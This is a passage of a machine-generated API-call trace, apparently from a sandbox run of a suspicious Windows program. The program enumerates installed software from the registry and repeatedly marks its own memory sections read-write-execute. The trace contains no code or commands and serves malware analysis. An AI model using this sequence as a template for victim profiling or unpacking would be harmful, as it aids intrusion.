C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n杦癨杨癨晧杤桦档杦攮數") returned 100 [0166.348] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x6f8) returned 0x0 [0166.348] RegQueryValueExW (in: hKey=0x6f8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.348] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32170, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n杦癨杨癨晧杤桦档杦攮數") returned 14 [0166.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32210, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB21517571757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n杦癨杨癨晧杤桦档杦攮數") returned 100 [0166.349] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x6fc) returned 0x0 [0166.349] RegQueryValueExW (in: hKey=0x6fc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.349] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.349] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n", cchWideChar=268, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n ", lpUsedDefaultChar=0x0) returned 268 [0166.349] RegEnumKeyA (in: hKey=0x674, dwIndex=0x11, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 0x0 [0166.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3404, cbMultiByte=268, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n晧杤桦档杦攮數") returned 268 [0166.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n晧杤桦档杦攮數") returned 11 [0166.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd320fc, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n晧杤桦档杦攮數") returned 100 [0166.349] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x700) returned 0x0 [0166.350] RegQueryValueExW (in: hKey=0x700, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.350] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ae4, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n晧杤桦档杦攮數") returned 14 [0166.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32210, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB24671737173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n晧杤桦档杦攮數") returned 100 [0166.350] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x704) returned 0x0 [0166.350] RegQueryValueExW (in: hKey=0x704, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.350] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.350] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n", cchWideChar=272, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\nn", lpUsedDefaultChar=0x0) returned 272 [0166.350] RegEnumKeyA (in: hKey=0x674, dwIndex=0x12, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 0x0 [0166.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32284, cbMultiByte=272, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n杦攮數") returned 272 [0166.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n杦攮數") returned 11 [0166.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32428, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n杦攮數") returned 100 [0166.351] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x708) returned 0x0 [0166.351] RegQueryValueExW (in: hKey=0x708, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.351] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a60, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n杦攮數") returned 14 [0166.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b00, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB25248604860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n杦攮數") returned 100 [0166.351] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x70c) returned 0x0 [0166.352] RegQueryValueExW (in: hKey=0x70c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.352] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.352] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n", cchWideChar=276, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nU", lpUsedDefaultChar=0x0) returned 276 [0166.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.358] RegEnumKeyA (in: hKey=0x674, dwIndex=0x13, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 0x0 [0166.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.358] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b74, cbMultiByte=276, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nḢ㇠[Ȣ绻\x1c") returned 276 [0166.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nḢ㇠[Ȣ绻\x1c") returned 11 [0166.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32428, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nḢ㇠[Ȣ绻\x1c") returned 100 [0166.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.359] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x710) returned 0x0 [0166.360] RegQueryValueExW (in: hKey=0x710, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.360] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3249c, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nḢ㇠[Ȣ绻\x1c") returned 14 [0166.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3253c, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB25446554655\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\nḢ㇠[Ȣ绻\x1c") returned 100 [0166.360] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x714) returned 0x0 [0166.360] RegQueryValueExW (in: hKey=0x714, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.360] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.360] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=280, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n)", lpUsedDefaultChar=0x0) returned 280 [0166.360] RegEnumKeyA (in: hKey=0x674, dwIndex=0x14, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 0x0 [0166.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd325b0, cbMultiByte=280, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\nȢ绻\x1c") returned 280 [0166.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\nȢ绻\x1c") returned 11 [0166.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ae4, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\nȢ绻\x1c") returned 100 [0166.361] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x718) returned 0x0 [0166.361] RegQueryValueExW (in: hKey=0x718, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.361] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b58, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance 